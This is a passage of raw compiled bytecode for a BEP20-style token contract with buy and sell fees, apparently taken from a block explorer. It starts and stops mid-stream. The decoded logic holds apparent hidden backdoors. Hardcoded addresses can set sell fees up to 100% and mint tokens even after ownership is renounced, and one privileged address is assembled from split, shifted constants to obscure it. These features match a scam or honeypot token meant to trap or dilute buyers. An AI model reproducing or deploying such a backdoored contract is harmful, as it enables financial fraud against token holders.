ffffffffffffffffffffffffffffff1614155b5b61183957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461195657600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a3a57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611a9190613067565b80601f0160208091040260200160405190810160405280929190818152602001828054611abd90613067565b8015611b0a5780601f10611adf57610100808354040283529160200191611b0a565b820191906000526020600020905b815481529060010190602001808311611aed57829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b6e57600080fd5b611b783383612724565b60019050919050565b60003411611bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbb9061334f565b60405180910390fd5b60003490506000600c541115611e82576000611bfe6064611bf0600c54856128ec90919063ffffffff16565b61296690919063ffffffff16565b90506000611c1582846129be90919063ffffffff16565b9050611c8b8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6f9190612efc565b60405180910390a36000821115611e7b57611dd282600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e729190612efc565b60405180910390a35b5050611fe3565b611ef68160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fda9190612efc565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561203457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206d57600080fd5b6120bf82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061215482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121f49190612efc565b60405180910390a36001905092915050565b61220e612a75565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461224557600080fd5b6064821115612289576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612280906130e4565b60405180910390fd5b60648111156122cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c490613150565b60405180910390fd5b6122d78282612cad565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612308929190613170565b60405180910390a15050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561242d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612424906131e5565b60405180910390fd5b60006124576064612449600d54856128ec90919063ffffffff16565b61296690919063ffffffff16565b9050600061246e82846129be90919063ffffffff16565b90506124c283600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125f79190612efc565b60405180910390a360008211156127035761265a82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126fa9190612efc565b60405180910390a35b505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b61272c612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361276357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c9906133bb565b60405180910390fd5b6127e781600254612a1790919063ffffffff16565b60028190555061283f81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128e09190612efc565b60405180910390a35050565b60008083036128fe5760009050612960565b6000828461290c919061340a565b905082848261291b919061347b565b1461295b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612952906134f8565b60405180910390fd5b809150505b92915050565b60008082116129aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a190613564565b60405180910390fd5b81836129b6919061347b565b905092915050565b600082821115612a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fa906135d0565b60405180910390fd5b8183612a0f91906135f0565b905092915050565b6000808284612a269190613624565b905083811015612a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a62906136a4565b60405180910390fd5b8091505092915050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8a90613710565b60405180910390fd5b612ba881600254612a1790919063ffffffff16565b600281905550612c0081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ca19190612efc565b60405180910390a35050565b81600c8190555080600d819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cf9578082015181840152602081019050612cde565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d2182612cbf565b612d2b8185612cca565b9350612d3b818560208601612cdb565b612d4481612d05565b840191505092915050565b60006020820190508181036000830152612d698184612d16565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612da182612d76565b9050919050565b612db181612d96565b8114612dbc57600080fd5b50565b600081359050612dce81612da8565b92915050565b6000819050919050565b612de781612dd4565b8114612df257600080fd5b50565b600081359050612e0481612dde565b92915050565b60008060408385031215612e2157612e20612d71565b5b6000612e2f85828601612dbf565b9250506020612e4085828601612df5565b9150509250929050565b60008115159050919050565b612e5f81612e4a565b82525050565b6000602082019050612e7a6000830184612e56565b92915050565b60008060408385031215612e9757612e96612d71565b5b6000612ea585828601612df5565b9250506020612eb685828601612df5565b9150509250929050565b600060208284031215612ed657612ed5612d71565b5b6000612ee484828501612df5565b91505092915050565b612ef681612dd4565b82525050565b6000602082019050612f116000830184612eed565b92915050565b600080600060608486031215612f3057612f2f612d71565b5b6000612f3e86828701612dbf565b9350506020612f4f86828701612dbf565b9250506040612f6086828701612df5565b9150509250925092565b600060ff82169050919050565b612f8081612f6a565b82525050565b6000602082019050612f9b6000830184612f77565b92915050565b600060208284031215612fb757612fb6612d71565b5b6000612fc584828501612dbf565b91505092915050565b612fd781612d96565b82525050565b6000602082019050612ff26000830184612fce565b92915050565b6000806040838503121561300f5761300e612d71565b5b600061301d85828601612dbf565b925050602061302e85828601612dbf565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061307f57607f821691505b60208210810361309257613091613038565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b60006130ce601a83612cca565b91506130d982613098565b602082019050919050565b600060208201905081810360008301526130fd816130c1565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b600061313a601b83612cca565b915061314582613104565b602082019050919050565b600060208201905081810360008301526131698161312d565b9050919050565b60006040820190506131856000830185612eed565b6131926020830184612eed565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006131cf601483612cca565b91506131da82613199565b602082019050919050565b600060208201905081810360008301526131fe816131c2565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b600061323b601683612cca565b915061324682613205565b602082019050919050565b6000602082019050818103600083015261326a8161322e565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b60006132a7601983612cca565b91506132b282613271565b602082019050919050565b600060208201905081810360008301526132d68161329a565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613339602383612cca565b9150613344826132dd565b604082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006133a5601f83612cca565b91506133b08261336f565b602082019050919050565b600060208201905081810360008301526133d481613398565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061341582612dd4565b915061342083612dd4565b925082820261342e81612dd4565b91508282048414831517613445576134446133db565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061348682612dd4565b915061349183612dd4565b9250826134a1576134a061344c565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b60006134e2601783612cca565b91506134ed826134ac565b602082019050919050565b60006020820190508181036000830152613511816134d5565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b600061354e601083612cca565b915061355982613518565b602082019050919050565b6000602082019050818103600083015261357d81613541565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b60006135ba601483612cca565b91506135c582613584565b602082019050919050565b600060208201905081810360008301526135e9816135ad565b9050919050565b60006135fb82612dd4565b915061360683612dd4565b925082820390508181111561361e5761361d6133db565b5b92915050565b600061362f82612dd4565b915061363a83612dd4565b9250828201905080821115613652576136516133db565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b600061368e601183612cca565b915061369982613658565b602082019050919050565b600060208201905081810360008301526136bd81613681565b9050919050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b60006136fa601183612cca565b9150613705826136c4565b602082019050919050565b60006020820190508181036000830152613729816136ed565b905091905056fea2646970667358221220bc6bf8891adb9b39947cb49330d5351e74a7107131c328b7e38e57da615d426064736f6c6343000812003300000000000000000000000049ec6c74a8ddfc6e1f6f181cac3ed93c1397a0c8

Deployed Bytecode

0x6080604052600436106101d85760003560e01c806370a0823111610102578063a6f2ae3a11610095578063d21c8d5511610064578063d21c8d55146106f1578063dd62ed3e1461071c578063e2daf66514610759578063e4849b3214610784576101d8565b8063a6f2ae3a14610656578063a9059cbb14610660578063aa46b46e1461069d578063d0fb0203146106c6576101d8565b80638da5cb5b116100d15780638da5cb5b14610586578063923e51d5146105b157806395d89b41146105ee57806396c5e1ab14610619576101d8565b806370a08231146104ca578063715018a614610507578063858ced351461051e578063891e1ee01461055b576101d8565b80632c7ee9461161017a578063470624021161014957806347062402146103fa5780634a0af68d146104255780635ed86d5c1461046257806365f6a9211461049f576101d8565b80632c7ee9461461033e578063313ce56714610367578063376d567c146103925780633ef530eb146103cf576101d8565b806316e3b09c116101b657806316e3b09c1461026e57806318160ddd146102ab57806323b872dd146102d65780632b14ca5614610313576101d8565b806306fdde03146101dd578063095ea7b3146102085780630b78f9c014610245575b600080fd5b3480156101e957600080fd5b506101f26107ad565b6040516101ff9190612d4f565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612e0a565b61083b565b60405161023c9190612e65565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190612e80565b61092d565b005b34801561027a57600080fd5b5061029560048036038101906102909190612ec0565b610ae3565b6040516102a29190612e65565b60405180910390f35b3480156102b757600080fd5b506102c0610bdb565b6040516102cd9190612efc565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190612f17565b610be1565b60405161030a9190612e65565b60405180910390f35b34801561031f57600080fd5b50610328611344565b6040516103359190612efc565b60405180910390f35b34801561034a57600080fd5b5061036560048036038101906103609190612e80565b61134a565b005b34801561037357600080fd5b5061037c611477565b6040516103899190612f86565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612fa1565b61148a565b6040516103c69190612e65565b60405180910390f35b3480156103db57600080fd5b506103e4611530565b6040516103f19190612e65565b60405180910390f35b34801561040657600080fd5b5061040f611618565b60405161041c9190612efc565b60405180910390f35b34801561043157600080fd5b5061044c60048036038101906104479190612fa1565b61161e565b6040516104599190612e65565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190612ec0565b6116c4565b6040516104969190612e65565b60405180910390f35b3480156104ab57600080fd5b506104b4611718565b6040516104c19190612fdd565b60405180910390f35b3480156104d657600080fd5b506104f160048036038101906104ec9190612fa1565b61173e565b6040516104fe9190612efc565b60405180910390f35b34801561051357600080fd5b5061051c611756565b005b34801561052a57600080fd5b5061054560048036038101906105409190612fa1565b6118fa565b6040516105529190612e65565b60405180910390f35b34801561056757600080fd5b506105706119a0565b60405161057d9190612fdd565b60405180910390f35b34801561059257600080fd5b5061059b6119c6565b6040516105a89190612fdd565b60405180910390f35b3480156105bd57600080fd5b506105d860048036038101906105d39190612fa1565b6119ec565b6040516105e59190612e65565b60405180910390f35b3480156105fa57600080fd5b50610603611a84565b6040516106109190612d4f565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b9190612ec0565b611b12565b60405161064d9190612e65565b60405180910390f35b61065e611b81565b005b34801561066c57600080fd5b5061068760048036038101906106829190612e0a565b611fe6565b6040516106949190612e65565b60405180910390f35b3480156106a957600080fd5b506106c460048036038101906106bf9190612e80565b612206565b005b3480156106d257600080fd5b506106db612314565b6040516106e89190612fdd565b60405180910390f35b3480156106fd57600080fd5b5061070661233a565b6040516107139190612fdd565b60405180910390f35b34801561072857600080fd5b50610743600480360381019061073e9190612ff8565b612360565b6040516107509190612efc565b60405180910390f35b34801561076557600080fd5b5061076e612385565b60405161077b9190612fdd565b60405180910390f35b34801561079057600080fd5b506107ab60048036038101906107a69190612ec0565b6123ab565b005b600080546107ba90613067565b80601f01602080910402602001604051908101604052809291908181526020018280546107e690613067565b80156108335780601f1061080857610100808354040283529160200191610833565b820191906000526020600020905b81548152906001019060200180831161081657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161091b9190612efc565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a075750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610a0657506109d6612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610a1057600080fd5b6064821115610a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4b906130e4565b60405180910390fd5b6064811115610a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8f90613150565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610ad7929190613170565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bbf5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610bbe5750610b8e612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610bc857600080fd5b610bd23383612724565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c906131e5565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90613251565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a906132bd565b60405180910390fd5b6000610dbd6064610daf600d54866128ec90919063ffffffff16565b61296690919063ffffffff16565b90506000610dd482856129be90919063ffffffff16565b9050610e2884600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ebd81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f5d9190612efc565b60405180910390a3600082111561106957610fc082600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110609190612efc565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561114157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15611337576111d584600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129be90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405161132e9190612efc565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113a457600080fd5b60648211156113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df906130e4565b60405180910390fd5b606481111561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390613150565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161146b929190613170565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114e657600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061160c5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561160b57506115db612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61161557600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461167a57600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006116ce612a75565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461170557600080fd5b61170f3383612b24565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118305750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561182f57506117ff612708565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61183957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461195657600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a3a57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611a9190613067565b80601f0160208091040260200160405190810160405280929190818152602001828054611abd90613067565b8015611b0a5780601f10611adf57610100808354040283529160200191611b0a565b820191906000526020600020905b815481529060010190602001808311611aed57829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b6e57600080fd5b611b783383612724565b60019050919050565b60003411611bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbb9061334f565b60405180910390fd5b60003490506000600c541115611e82576000611bfe6064611bf0600c54856128ec90919063ffffffff16565b61296690919063ffffffff16565b90506000611c1582846129be90919063ffffffff16565b9050611c8b8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d6f9190612efc565b60405180910390a36000821115611e7b57611dd282600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e729190612efc565b60405180910390a35b5050611fe3565b611ef68160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1790919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffff